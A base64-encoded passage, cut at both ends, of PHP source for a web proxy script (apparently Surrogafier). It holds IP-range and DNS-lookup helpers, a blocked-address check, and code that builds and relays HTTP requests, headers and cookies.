FVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92Y